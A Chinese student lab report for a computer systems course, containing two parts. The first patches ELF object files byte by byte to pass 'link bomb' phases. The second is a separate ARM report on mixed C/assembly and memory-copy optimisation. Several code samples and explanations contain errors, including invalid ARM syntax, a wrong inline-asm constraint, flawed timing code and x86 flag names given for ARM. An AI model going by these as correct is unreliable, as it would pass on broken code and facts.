● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x55\x32\x30\x32\x34\x31\x34\x36' | dd of=phase4.o bs=1 seek=139 count=8 conv=notrunc 2>/dev/
/null
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x34\x39' | dd of=phase4.o bs=1 seek=155 count=2 conv=notrunc 2>/dev/null
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x48\x8d\x7d\xed' | dd of=phase4.o bs=1 seek=157 count=4 conv=notrunc 2>/dev/null
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\xe8\x9a\xff\xff\xff' | dd of=phase4.o bs=1 seek=161 count=5 conv=notrunc 2>/dev/null
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ objdump -d phase4.o

```

由反汇编输出可知修改已经正确实现

```

49: 48 b8 55 32 30 32 34    movabs $0x3634313432303255,%rax
50: 31 34 36
53: 48 89 45 ed            mov     %rax,-0x13(%rbp)
57: 66 c7 45 f5 34 39      movw    $0x3934,-0xb(%rbp)
5d: 48 8d 7d ed            lea     -0x13(%rbp),%rdi
61: e8 9a ff ff ff        call    0 <myfunc>

```

再次链接并测试

```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb4 main.o phase4.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb4
please input you stuid : U202414649
gate 4: your ID is : U202414649!
Bye Bye !

```

通过了第四关。

e) 第五关

通过指令得到重定位表

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ readelf -r phase5.o

Relocation section '.rela.text' at offset 0x3e8 contains 6 entries:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000012         000d00000002 R_X86_64_PC32     0000000000000040 originalclass - 4
000000000019         000600000002 R_X86_64_PC32     0000000000000000 .rodata - 4
000000000023         001200000004 R_X86_64_PLT32     0000000000000000 printf - 4
00000000002a         000e00000002 R_X86_64_PC32     0000000000000060 originalteacher - 4
000000000031         000600000002 R_X86_64_PC32     0000000000000000 .rodata + b
00000000003b         001200000004 R_X86_64_PLT32     0000000000000000 printf - 4

Relocation section '.rela.data.rel.local' at offset 0x478 contains 1 entry:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000000         001000000001 R_X86_64_64       0000000000000000 do_phase + 0

Relocation section '.rela.eh_frame' at offset 0x490 contains 1 entry:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000020         000200000002 R_X86_64_PC32     0000000000000000 .text + 0

coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ hexdump -C phase5.o -s 0x90 -n 116
00000090  43 6f 6d 70 75 74 65 72  20 46 6f 75 6e 64 61 74  |Computer Foundat|
000000a0  69 6f 6e 00 00 00 00 00  00 00 00 00 00 00 00 00  |ion.....|
000000b0  58 75 20 58 69 61 6e 67  79 61 6e 67 00 00 00 00  |Xu Xiangyang...|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.....|
000000d0  63 20 70 72 6f 67 72 61  6d 6d 69 6e 67 00 00 00  |c programming...|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.....|
000000f0  6d 61 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |ma.....|
00000100  00 00 00 00                                     |....|
```

我们可以得到偏移 0x90:Computer Foundation 和偏移 0xb0:Xu Xiangyang

修改第一个重定位条目（文件偏移 0x3e8+8=0x3f0）和第四个重定位条目（文件偏移 0x3e8+72+8=0x430）

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x02\x00\x00\x00\x0b\x00\x00\x00' | dd of=phase5.o bs=1 seek=1008 count=8 conv=notrunc 2>/dev/null
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x02\x00\x00\x00\x0c\x00\x00\x00' | dd of=phase5.o bs=1 seek=1072 count=8 conv=notrunc 2>/dev/null

coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf '\x02\x00\x00\x00\x0c\x00\x00\x00' | dd of=phase5.o bs=1 seek=1080 count=8 conv=notrunc 2>/dev/null
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ readelf -r phase5.o | grep "00000000002a"
00000000002a 000c00000002 R_X86_64_PC32 0000000000000020 teachername - 4
```

接下来检查定位表修改是否正确

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ readelf -r phase5.o

Relocation section '.rela.text' at offset 0x3e8 contains 6 entries:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000012         000b00000002 R_X86_64_PC32     0000000000000000 classname - 4
000000000019         000600000002 R_X86_64_PC32     0000000000000000 .rodata - 4
000000000023         001200000004 R_X86_64_PLT32     0000000000000000 printf - 4
00000000002a         000e00000002 R_X86_64_PC32     0000000000000060 originalteacher - 4
000000000031         000600000002 R_X86_64_PC32     0000000000000000 .rodata + b
00000000003b         001200000004 R_X86_64_PLT32     0000000000000000 printf - 4

Relocation section '.rela.data.rel.local' at offset 0x478 contains 1 entry:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000000         001000000001 R_X86_64_64       0000000000000000 do_phase + 0

Relocation section '.rela.eh_frame' at offset 0x490 contains 1 entry:
  Offset             Info             Type             Sym. Value          Sym. Name + Addend
000000000020         000200000002 R_X86_64_PC32     0000000000000000 .text + 0
```

可以看到修改正确，链接并执行程序：


```

● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb5 main.o phase5.o
● coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb5
please input you stuid : U202414649
Class Name Computer Foundation
Teacher Name Xu Xiangyang
Bye Bye !

```

f) 第六关

观察符号表得到使用的三个符号的基本信息

11:	0000000000000000	8	OBJECT	GLOBAL	DEFAULT	5	phase
12:	0000000000000000	58	FUNC	GLOBAL	DEFAULT	1	do_phase
13:	0000000000000008	8	OBJECT	GLOBAL	DEFAULT	COM	myprint

Disassembly of section .text:

```

0000000000000000 <do_phase>:
0:  f3 0f 1e fa      endbr64
4:  55               push    %rbp
5:  48 89 e5         mov     %rsp,%rbp
8:  48 83 ec 10      sub     $0x10,%rsp
c:  89 7d fc         mov     %edi,-0x4(%rbp)
f:  48 8b 05 00 00 00 mov     0x0(%rip),%rax      # 16 <do_phase+0x16>
16: 48 85 c0         test   %rax,%rax
19: 74 10           je      2b <do_phase+0x2b>
1b: 48 8b 15 00 00 00 mov     0x0(%rip),%rdx      # 22 <do_phase+0x22>
22: b8 00 00 00 00   mov     $0x0,%eax
27: ff d2          call    *%rdx
29: eb 0c          jmp     37 <do_phase+0x37>
2b: 48 8d 3d 00 00 00 lea     0x0(%rip),%rdi      # 32 <do_phase+0x32>
32: e8 00 00 00 00   call    37 <do_phase+0x37>
37: 90             nop
38: c9             leave
39: c3             ret

```

逻辑流程如下:

do_phase 开始



加载 phase 指针



检查 phase 是否为 NULL?

└─ 是 → 调用 puts 显示默认消息 → 函数返回

↓ 否

加载 myprint 函数指针



调用 myprint()



函数返回

从反汇编代码中的 0x0(%rip) 可以看出, 有两个位置需要重定位:

mov 0x0(%rip),%rax (偏移 0xf) mov 0x0(%rip),%rdx (偏移 0x1b)

在 phase6.o 中：myprint 是弱符号，phase 是强符号。

```
C phase6_patch.c
1 // phase6_patch.c
2 #include <stdio.h>
3
4 // 定义实际的打印函数
5 void myprint_impl() {
6     printf("U202414649\n");
7 }
8
9 // 定义函数指针变量myprint, 指向myprint_impl
10 void (*myprint)() = myprint_impl;
```

编译阶段，phase6.o 包含弱符号 myprint，phase6_patch.o：包含强符号 myprint。链接阶段，链接器检测到符号冲突，由于强弱符号规则，强符号覆盖弱符号，最终可执行文件使用 phase6_patch.o 中的 myprint 定义。运行时，do_phase 加载 myprint 变量值（即函数地址），间接调用该地址，执行 myprint_impl 函数，正确输出学号。

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -c phase6_patch.c -o phase6_patch.o
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb6 main.o phase6.o phase6_patch.o
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb6
please input you stuid : U202414649
U202414649
Bye Bye !
```

通过了第六关。

g) 第七关

首先查看.rodata 节的信息

```
[ 7] .rodata          PROGBITS          0000000000000000 00000068
      000000000000000b 0000000000000000 A      0      0      1
```

再查看.rodata 节的具体内容

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ objdump -s -j .rodata phase7.o

phase7.o:          file format elf64-x86-64

Contents of section .rodata:
 0000 55323032 32313233 343500                U202212345.
```

反汇编查看代码逻辑

```

coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ objdump -d phase7.o

phase7.o:      file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <do_phase>:
 0:  f3 0f 1e fa      endbr64
 4:  55               push   %rbp
 5:  48 89 e5         mov    %rsp,%rbp
 8:  48 83 ec 10      sub    $0x10,%rsp
 c:  89 7d fc         mov    %edi,-0x4(%rbp)
 f:  48 8d 3d 00 00 00 00 lea     0x0(%rip),%rdi        # 16 <do_phase+0x16>
16:  e8 00 00 00 00  call   1b <do_phase+0x1b>
1b:  90               nop
1c:  c9               leave
1d:  c3               ret

```

查看符号表

```

coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ readelf -s phase7.o

Symbol table '.symtab' contains 15 entries:
Num:      Value              Size Type      Bind   Vis      Ndx Name
   0: 0000000000000000         0 NOTYPE   LOCAL  DEFAULT  UND
   1: 0000000000000000         0 FILE     LOCAL  DEFAULT  ABS phase7.c
   2: 0000000000000000         0 SECTION  LOCAL  DEFAULT    1 .text
   3: 0000000000000000         0 SECTION  LOCAL  DEFAULT    3 .data
   4: 0000000000000000         0 SECTION  LOCAL  DEFAULT    4 .bss
   5: 0000000000000000         0 SECTION  LOCAL  DEFAULT    5 .data.rel.local
   6: 0000000000000000         0 SECTION  LOCAL  DEFAULT    7 .rodata
   7: 0000000000000000         0 SECTION  LOCAL  DEFAULT    9 .note.GNU-stack
   8: 0000000000000000         0 SECTION  LOCAL  DEFAULT   10 .note.gnu.property
   9: 0000000000000000         0 SECTION  LOCAL  DEFAULT   11 .eh_frame
  10: 0000000000000000         0 SECTION  LOCAL  DEFAULT    8 .comment
  11: 0000000000000000         8 OBJECT   GLOBAL  DEFAULT    5 phase
  12: 0000000000000000        30 FUNC     GLOBAL  DEFAULT    1 do_phase
  13: 0000000000000000         0 NOTYPE   GLOBAL  DEFAULT  UND _GLOBAL_OFFSET_TABLE_
  14: 0000000000000000         0 NOTYPE   GLOBAL  DEFAULT  UND puts

```

查看字符串表

```

coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ strings phase7.o
U202212345
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
phase7.c
do_phase
_GLOBAL_OFFSET_TABLE_
puts
.symtab
.strtab
.shstrtab
.rela.text
.data
.bss
.rela.data.rel.local
.rodata
.comment
.note.GNU-stack
.note.gnu.property
.rela.eh_frame

```

rodata 节信息得到文件偏移 0x68，大小 0x0b（11 字节），内容：

U202212345\0（10 字符 + 1 空终止符）

do_phase 函数非常简单，只是调用 puts 函数显示.rodata 节中的字符串；从反汇编看，程序通过 lea 0x0(%rip),%rdi 加载字符串地址，然后调用 puts

要求修改.rodata 节中的字符串为 U202414649

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ printf 'U202414649\0' | dd of=phase7.o bs=1 seek=104 count=11 conv=notrunc 2>/dev/null
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ objdump -s -j .rodata phase7.o

phase7.o:          file format elf64-x86-64

Contents of section .rodata:
 0000 55323032 34313436 343900                U202414649.
```

反汇编对应位置验证修改正确。

```
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ gcc -no-pie -o linkbomb7 main.o phase7.o
coherent@LAPTOP-MA08MQ58:~/链接炸弹_学生端$ ./linkbomb7
please input you stuid : U202414649
U202414649
Bye Bye !
```

完成了第七关。

行文至此，我们完成了实验四的全部七个关卡！

(2) 描述修改各个文件的基本思想

第一关静态数据与 ELF 数据节的修改让我认识到目标文件中数据节的布局和访问方式。通过直接修改.data 节中的字符串内容，我学会了如何定位特定数据在文件中的偏移位置，并精确替换为所需内容，同时保持字符串格式的完整性。这一关的关键在于理解数据节的存储结构和文件偏移计算。

第二关简单的机器指令修改教会了我如何分析反汇编代码并修改机器指令。通过将 nop 指令替换为 call 指令，我掌握了相对地址计算和指令编码技术。这一关的重点是理解函数调用的机器码格式和相对偏移量的计算方法，确保程序能正确跳转到目标函数。

第三关有参数的函数调用修改进一步深化了我对调用约定的理解。在保持栈帧完整性的前提下，我学会了如何正确传递参数并调用函数。这一关的关键是理解 x86-64 架构下的寄存器传参约定和栈空间管理，确保参数能正确传递给被调函数。

第四关有局部变量的机器指令修改展示了栈上数据构造的技术。通过修改 mov 指令的立即数操作数，我学会了如何在运行时动态构造字符串并传递给函数。这一关的难点在于理解栈布局和局部变量的存储方式，确保字符串能正确构建和传递。

第五关重定位表的修改让我认识到链接过程中符号解析的机制。通过调整重定位表中的符号引用，我学会了如何改变程序的数据访问路径。这一关的核心是理解重定位条目的结构和符号索引的作用，通过修改重定位信息间接影响程序行为。

第六关强弱符号的利用展示了链接器符号解析的优先级规则。通过创建强符号覆盖弱符号，我学会了如何不修改原始文件而改变程序行为。这一关的关

键在于理解符号的绑定属性和链接时的符号解析规则，利用强弱符号的优先级实现功能覆盖。

第七关只读数据节的修改完成了对 ELF 文件各节的全面掌握。通过修改 .rodata 节中的字符串常量，我学会了如何处理只读数据的修改。这一关的重点是理解只读数据节的特性，在保持长度约束的前提下替换字符串内容。

四、体会

通过完成实验四的七个关卡，我对计算机系统的底层机制有了更加深入和全面的认识。这次实验不仅是一次技术实践，更是一次思维训练，让我从多个维度理解了程序在编译、链接和运行时的行为特征。

在技术层面，我掌握了 ELF 文件格式的详细结构，包括代码节、数据节、重定位表等关键组成部分。通过实际操作，我理解了符号解析、地址绑定、指令编码等编译链接的核心概念。特别是强弱符号规则和重定位机制，这些在理论课上抽象的知识点，在实验中变得具体而生动。

实验过程中遇到的挑战让我深刻体会到系统级编程的精确性要求。每一个字节的位置、每一个地址的计算都需要精准无误，稍有偏差就会导致段错误或程序行为异常。这种对细节的严苛要求培养了我严谨的工程思维和系统化的问题分析能力。

调试能力的提升是另一个重要收获。从最初的盲目尝试到后来的系统性分析，我学会了使用 `readelf`、`objdump`、`gdb` 等工具进行有针对性的诊断。特别是通过反汇编分析程序逻辑、通过重定位表理解符号引用，这些技能对后续的学习和研究具有重要价值。

安全意识是这次实验的隐性收获。通过亲手实施各种攻击，我切身体会到软件漏洞的潜在危害。缓冲区溢出、代码注入、符号劫持等攻击技术让我认识到安全编程的重要性，也促使我在今后的开发中更加注重边界检查和输入验

证。

实验还锻炼了我的问题解决能力。面对每个关卡的独特挑战，我需要灵活运用已有知识，创造性提出解决方案。从静态数据分析到动态调试，从二进制修改到链接控制，这种多角度的攻击方式拓展了我的技术视野。

最重要的是，这次实验架起了理论与实践的桥梁。书本上的汇编指令、内存布局、调用约定等概念，通过动手实践变得直观而深刻。这种从知道到理解的转变，是单纯理论学习无法达到的效果。

回顾整个实验过程，我不仅掌握了具体的技术技能，更培养了系统思维、调试能力和解决问题的方略。这些收获将伴随我后续的学习和研究，成为我技术成长道路上的宝贵财富。实验虽然结束，但对计算机系统深层机制的探索才刚刚开始。

华中科技大学

课程实验报告

课程名称： 计算机系统基础实验

实验名称： ARM 指令系统的理解

院 系： 计算机科学与技术

专业班级： 大数据 2401

学 号： U202414649

姓 名： 赵哲煊

指导教师： 李 专

2025 年 11 月 1 日

一、实验目的与要求

通过在 ARM 虚拟环境下调试执行程序，了解 ARM 的指令系统。

实验环境：ARM 虚拟实验环境 QEMU

工具：gcc, gdb 等

二、实验内容

任务 1、C 与汇编的混合编程

任务 2、内存拷贝及优化实验

程序及操作方法 见 <ARM 实验任务.pdf>

三、实验记录及问题回答

(1) 实验任务的实验结果记录

任务 1、C 与汇编的混合编程

步骤一 实现主程序 sum.c，并在代码中声明函数 add()，其中用 extern 关键字表 add() 函

数是“外部的”，它告诉编译器：

1. add() 函数定义在其他文件中，而不是在当前文件中；
2. 当前文件只需要知道 add() 的返回类型和参数类型以正确调用它，不需

要知道具体实

现；

因此声明语句为 extern int add(int num);

sum.c 函数如图所示：

```
[root@localhost ~]# cat sum.c
#include <stdio.h>

extern int add(int num);

int main() {
    int i, sum;
    scanf("%d", &i);
    sum = add(i);
    printf("sum=%d\n", sum);
    return 0;
}
```

步骤二 在 add.s 中使用汇编实现 add() 函数。实现如图：

```
[root@localhost ~]# cat add.s
.global add
add:
    ADD x1,x1,x0
    SUB x0,x0,#1
    CMP x0,#0
    BNE add
    MOV x0,x1
    RET
```

其中.global add 表示声明全局函数，后接函数名。

逐语句分析：

第一行 add:: 一个标签，用于标识该函数的起始位置。

第二行 add x1,x1,x0: add 的格式为 add <目标寄存器>, <源寄存器 1>, <源寄存

器 2>, 将 <源寄存器 1> 和 <源寄存器 2> 的值相加，结果放入 <目标寄存器> 中。

第三行 sub x0,x0,#1: sub 的格式与 add 相似，其中出现的#1，表示立即数。

第四行 cmp x0,#0: 即比较 x0 和#0 的大小，并修改标志寄存器。

第五行 bne add: 条件跳转。

第六行 mov x0,x1: 将寄存器 x1 的值复制到寄存器 x0 中，即将返回值保存在 x0，此时 x0 与 x86 构架下的%rax 相似。

步骤三 使用 gcc 编译生成可执行文件

bash 中输入 gcc sum.c add.s -o sum 后，会在当前目录生成可执行文件 sum，在 bash 中输入 ./sum 后执行，向终端输入 100，程序输出 1+2+...+100 的结果 5050。运行结果如图：

```
[root@localhost ~]# gcc sum.c add.s -o sum
[root@localhost ~]# ./sum
100
sum=5050
```

步骤四 将汇编内嵌入 C 语言文件中，得到 builtin.c 文件

C 语言支持内嵌汇编语言，基本格式为__asm__ __volatile__ (“asm code” :output:input:clobber)，按照格式内嵌汇编后的 builtin.c 如图：

```
[root@localhost ~]# cat builtin.c
#include <stdio.h>
int main() {
    int val;
    scanf("%d", &val);
    asm __volatile__(
        "add:\n"
        "ADD x1,x1,x0\n"
        "SUB x0,x0,#1\n"
        "CMP x0,#0\n"
        "BNE add\n"
        "MOV x0,x1\n"
        "=:r"(val)
        : "0"(val)
        :
    );
    printf("sum is %d\n", val);
    return 0;
}
```

嵌入部分参数的说明：

第二个部分 “=:r” (val)：=:表示这是一个输出操作数（只写）。编译器会将汇编指令的结果存储在 val 中。r 表示寄存器约束，即要求编译器将结果放在一个通用寄存器中（如 R0, R1 等寄存器），而不是内存中。(val)是操作数变量，指向 val 这个变量，用于将汇编代码的执行结果存储到 C 语言中的 val 变量中。

第三个部分 “0” (val)：0 表示这是一个约束代码，指的是输出操作数列表中的第一个操作数。这个约束告诉编译器，此输入操作数与第一个输出操作数（编号为 0）使用相同的寄存器。(val) 表示对应的变量 val，这个变量将作为输入传递给汇编代码。然后在 bash 中输入 gcc builtin.c -o builtin 后，使用 ./builtin 运行程序，

得到测试结果如图

```
[root@localhost ~]# gcc builtin.c -o builtin
[root@localhost ~]# ./builtin
100
sum is 5050
```

任务 2、内存拷贝及优化实验

一、基础代码

步骤一 创建 time.c 文件

考虑在主函数中使用 clock() 函数来计算时间差，从而求得代码运行时间，具体的 time.c 实现如下：


```

[root@localhost ~]# cat -n time.c
 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <time.h>
 4 #define len 60000000
 5 char src[len], dst[len];
 6 long int len1 = len;
 7 extern void memorycopy(char* dst, char* src, long int len1);
 8 int main() {
 9     struct timespec t1, t2;
10     int i, j;
11     for (i = 0; i < len - 1; ++i)
12         src[i] = 'a';
13     src[i] = 0;
14     clock_gettime(CLOCK_MONOTONIC, &t1);
15     memorycopy(dst, src, len1);
16     clock_gettime(CLOCK_MONOTONIC, &t2);
17     printf("memorycopy time is %11u ns\n", t2.tv_nsec - t1.tv_nsec);
18     return 0;
19 }

```

步骤二 创建 copy.s 文件 在 copy.s 中使用汇编实现 memorycopy() 函数，如下：

```

[root@localhost ~]# cat copy.s -n
 1 .global memorycopy
 2 memorycopy:
 3     ldrb w3,[x1],#1
 4     str w3,[x0],#1
 5     sub x2,x2,#1
 6     cmp x2,#0
 7     bne memorycopy
 8     ret

```

可以看出，这个函数就是最基础的一个字符一个字符地进行复制。执行命令 gcc time.c copy.s -o m1 && ./m1 测试其时间，得到结果：

```

[root@localhost ~]# gcc time.c copy.s -o m1 && ./m1
memorycopy time is 205829038 ns

```

可以看到，在不加任何优化时，memorycopy() 消耗时间为 205829038ns。

二、循环展开优化

步骤一 创建二倍展开优化 copy121.s 文件

将 copy.s 展开成两倍，命名为 copy121.s，实现如下：

```

[root@localhost ~]# cat copy121.s -n
 1 .global memorycopy
 2 memorycopy:
 3     sub x1,x1,#1
 4     sub x0,x0,#1
 5     lp:
 6     ldrb w3,[x1],#1!
 7     ldrb w4,[x1],#1!
 8     str w3,[x0],#1!
 9     str w4,[x0],#1!
10     sub x2,x2,#2
11     cmp x2,#0
12     bne lp
13     ret

```

步骤二 编译并运行代码

执行 `gcc time.c copy121.s -o m121 && ./m121` 测试其时间，得到结果：

```
[root@localhost ~]# gcc time.c copy121.s -o m121 && ./m121
memorycopy time is 3458085824 ns
```

可以看到其消耗时间为 3,458,085,824ns，出现问题——二倍展开优化为什么速度反而比普通循环还要慢一个数量级呢？分析得以下三个原因：

1. 关键路径没有被优化；
2. 拷贝的速度瓶颈在于访问内存和写入内存，而循环展开并没有优化这个过程；
3. 可能对缓存机制造成干扰，因为内存访问不再连续；

步骤三 创建 4 倍展开优化 `copy122.s` 文件

使用 2×2 的循环展开，具体实现如下：

```
[root@localhost ~]# cat copy122.s -n
1  .global memorycopy
2  memorycopy:
3      sub x1,x1,#1
4      sub x0,x0,#1
5  lp:
6      ldrb w3,[x1,#1]!
7      ldrb w4,[x1,#1]!
8      ldrb w5,[x1,#1]!
9      ldrb w6,[x1,#1]!
10     str w3,[x0,#1]!
11     str w4,[x0,#1]!
12     str w5,[x0,#1]!
13     str w6,[x0,#1]!
14     sub x2,x2,#4
15     cmp x2,#0
16     bne lp
17     ret
18
```

其使用 2×2 循环展开，步长为 2 的同时，将一条关键路径变为两条长度减半的路径，可以预测其时间将会更加优秀。

步骤四 编译并运行可执行文件

执行指令 `gcc time.c copy122.s -o m122 && ./m122`，获得结果：

```
[root@localhost ~]# gcc time.c copy122.s -o m122 && ./m122
memorycopy time is 168198913 ns
```

可见其消耗时间为 168198913ns，是目前最优秀的时间。

三、内存突发传输方式优化

步骤一 创建内存突发传输优化 `copy21.s` 文件

使用 `ldp` 和 `stp` 指令，同时访问 16 字节内存数据，实现如下：

```
[root@localhost ~]# cat -n copy21.s
1  .global memorycopy
2  memorycopy:
3  ldp x3,x4,[x1],#16
4  stp x3,x4,[x0],#16
5  sub x2,x2,#16
6  cmp x2,#0
7  bne memorycopy
8  ret
```

步骤二 编译并运行可执行文件

执行指令 `gcc time.c copy21.s -o m21 && ./m21` 获得结果：

```
[root@localhost ~]# gcc time.c copy21.s -o m21 && ./m21
memorycopy time is 49656737 ns
```

其使用 49,656,737ns，直接优于之前的所有优化，说明一次执行 16 字节读取效率明显优于单字节读写。

(2) ARM 指令及功能说明

查阅《ISA_A64_xml_A_profile-2023-09.pdf》，指出 10 条不同指令（存数、取数、算术运算、转移指令、函数调用等都应覆盖）的功能。

1. LDUR

- 功能：从内存中加载数据到寄存器。
- 示例：LDUR X0, [X1, #0] 将内存地址为 X1 加上偏移量 0 的数据加载到寄存器 X0 中。

2. STUR

- 功能：将寄存器中的数据存储到内存中。
- 示例：STUR X0, [X1, #0] 将寄存器 X0 的数据存储到内存地址为 X1 加上偏移量 0 的位置。

3. ADD

- 功能：执行整数加法运算。
- 示例：ADD X0, X1, X2 将寄存器 X1 和 X2 的值相加，并将结果存储到寄存器 X0 中。

4. SUB

- 功能：执行整数减法运算。
- 示例：SUB X0, X1, X2 将寄存器 X1 减去 X2 的值，并将结果存储到寄存器 X0

中。

5. MUL

- 功能：执行整数乘法运算。
- 示例：MUL X0, X1, X2 将寄存器 X1 和 X2 的值相乘，并将结果存储到寄存器 X0 中。

6. DIV

- 功能：执行整数除法运算（ARMv8.2 及以上版本）。
- 示例：UDIV X0, X1, X2 将 X1 除以 X2 的值，并将商存储到寄存器 X0 中。

7. B

- 功能：无条件分支跳转。
- 示例：B label 会无条件跳转到指定的标签 label 处。

8. BL

计算机系统基础实验报告

- 功能：分支并链接，用于函数调用。
- 示例：BL function 跳转到 function，并将返回地址保存在链接寄存器 LR 中（X30）。

9. RET

- 功能：返回指令，通常用于从函数中返回。
- 示例：RET 从当前函数返回到调用点，使用存储在 LR 中的地址。

10. CMP

- 功能：比较两个寄存器的值，并设置相应的状态标志。
- 示例：CMP X1, X2 将寄存器 X1 和 X2 的值进行比较，更新状态标志（如 ZF 和 SF），用于后续条件跳转指令（如 BNE、BEQ 等）。

四、体会

本次实验让我深入了解了 ARM 架构的指令系统，并掌握了在 ARM 虚拟环境下进行程序调试的基本方法。实验中，我通过 C 语言与汇编语言的混合编程实践，以及内存拷贝操作的优化探索，提升了对底层编程和性能优化的认识。

在任务 1 中，我通过 C 语言调用汇编函数的方式实现了混合编程，体会到汇编语言在精细控制硬件和提升关键代码性能方面的优势。这一过程不仅加深了我对 ARM 指令集和汇编语法特点的理解，也让我认识到在实际项目中合理结合高级语言与汇编语言的重要性。

在任务 2 中，我重点研究了内存拷贝的不同实现方式及其性能差异。通过对比分析普通循环拷贝与基于 ARM 架构特性优化的方法，我学习了如何利用高效的汇编指令（如 LDM/STM）来提升内存操作的效率。该任务使我认识到，在资源受限的嵌入式环境中，结合具体硬件特性进行算法层面的优化，能够显著改善程序执行效率。

通过本次实验，我不仅巩固了 ARM 汇编编程和调试技能，也增强了在系统级编程中进行分析与优化的实践能力。